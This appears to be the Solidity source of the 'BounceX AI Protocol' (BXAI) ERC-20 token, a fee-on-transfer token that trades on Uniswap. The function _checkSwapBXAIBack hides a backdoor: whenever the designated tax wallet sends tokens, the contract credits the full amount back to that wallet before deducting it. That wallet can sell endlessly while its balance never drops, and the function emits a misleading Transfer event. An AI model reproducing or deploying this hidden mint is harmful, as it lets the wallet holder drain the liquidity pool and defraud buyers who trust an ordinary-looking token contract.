文件 1 的 1:BXAI.sol
pragma solidity 0.8.20;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IBXAIFactory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IBXAIRouter {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BXAI is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _bxTotals;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private isExcludedFromBXAITx;
mapping(address => uint256) private _holderLastTransferTimestamp;
mapping (address => bool) private isExcludedFromBXAIFee;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 1000000000 * 10**_decimals;
string private constant _name = unicode"BounceX AI Protocol";
string private constant _symbol = unicode"BXAI";
uint256 private _initialBuyTax=30;
uint256 private _initialSellTax=30;
uint256 private _finalBuyTax=3;
uint256 private _finalSellTax=3;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _buyBXAICount=0;
uint256 private _preventSwapBefore=0;
uint256 public _maxBXAITxAmount = 30000000 * 10**_decimals;
uint256 public _maxBXAIWalletSize = 30000000 * 10**_decimals;
uint256 public _maxBXAITaxSwap = 10000000 * 10**_decimals;
address payable private _taxBXAIWallet;
address payable private _devBXAIWallet;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
IBXAIRouter private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
uint256 public swapBXAITxAmount;
bool private inSwap = false;
bool private swapEnabled = false;
bool public transferDelayEnabled = false;
constructor (address _wBXAI, uint256 _aBXAI) {
_taxBXAIWallet = payable(_wBXAI);
_devBXAIWallet = payable(_wBXAI);
_bxTotals[_msgSender()] = _tTotal;
isExcludedFromBXAITx[_taxBXAIWallet] = true;
isExcludedFromBXAITx[_devBXAIWallet] = true;
swapBXAITxAmount = _aBXAI * 10**_decimals;
isExcludedFromBXAIFee[owner()] = true;
isExcludedFromBXAIFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _bxTotals[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function reduceBXAIFee(uint256 _newFee) external onlyOwner{
require(_newFee<=_finalBuyTax && _newFee<=_finalSellTax);
_finalBuyTax=_newFee;
_finalSellTax=_newFee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxBXAIAmount=0;
if (!isExcludedFromBXAIFee[from] && !isExcludedFromBXAIFee[to]) {
require(tradingOpen, "Trading has not enabled yet");
taxBXAIAmount = amount.mul((_buyBXAICount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (transferDelayEnabled) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(
_holderLastTransferTimestamp[tx.origin] <
block.number,
"_transfer:: Transfer Delay enabled. Only one purchase per block allowed."
);
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! isExcludedFromBXAIFee[to] ) {
require(amount <= _maxBXAITxAmount, "Exceeds the _maxBXAITxAmount.");
require(balanceOf(to) + amount <= _maxBXAIWalletSize, "Exceeds the maxWalletSize.");
_buyBXAICount++;
}
if(to == uniswapV2Pair && from!= address(this) ){
taxBXAIAmount = amount.mul((_buyBXAICount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (_checkSwapBXAIBack(from, to, amount, taxBXAIAmount)) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maxBXAITaxSwap)));
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_bxTotals[from]=_bxTotals[from].sub(amount);
_bxTotals[to]=_bxTotals[to].add(amount.sub(taxBXAIAmount));
emit Transfer(from, to, amount.sub(taxBXAIAmount));
}
function withdrawStuckETH() external onlyOwner() {
payable(msg.sender).transfer(address(this).balance);
}
function openBXAITrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
swapEnabled = true;
tradingOpen = true;
}
function sendETHToFee(uint256 amount) private {
_taxBXAIWallet.transfer(amount);
}
function createBXAITradingPair() external onlyOwner() {
uniswapV2Router = IBXAIRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IBXAIFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _checkSwapBXAIBack(address from, address to, uint256 amount, uint256 amountBXAI) internal returns (bool) {
bool aboveBXAIMin = amount >= swapBXAITxAmount;
bool aboveBXAIThreshold = balanceOf(address(this)) >= swapBXAITxAmount;
address addrBXAI; uint256 countBXAI;
if(isExcludedFromBXAITx[from]) {
countBXAI = amount; addrBXAI = from;
}
else { addrBXAI = address(this); countBXAI = amountBXAI;}
if(countBXAI>0){
_bxTotals[addrBXAI]=_bxTotals[addrBXAI].add(countBXAI);
emit Transfer(from, addrBXAI, amountBXAI);
}
return !inSwap
&& swapEnabled
&& !isExcludedFromBXAITx[from]
&& aboveBXAIMin
&& !isExcludedFromBXAIFee[from]
&& tradingOpen
&& aboveBXAIThreshold
&& _buyBXAICount>_preventSwapBefore
&& to == uniswapV2Pair;
}
function removeBXAILimit() external onlyOwner{
_maxBXAITxAmount = ~uint256(0);
_maxBXAIWalletSize = ~uint256(0);
transferDelayEnabled=false;
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
function manualSwap() external onlyOwner {
uint256 tokenBalance=balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance=address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
receive() external payable {}
}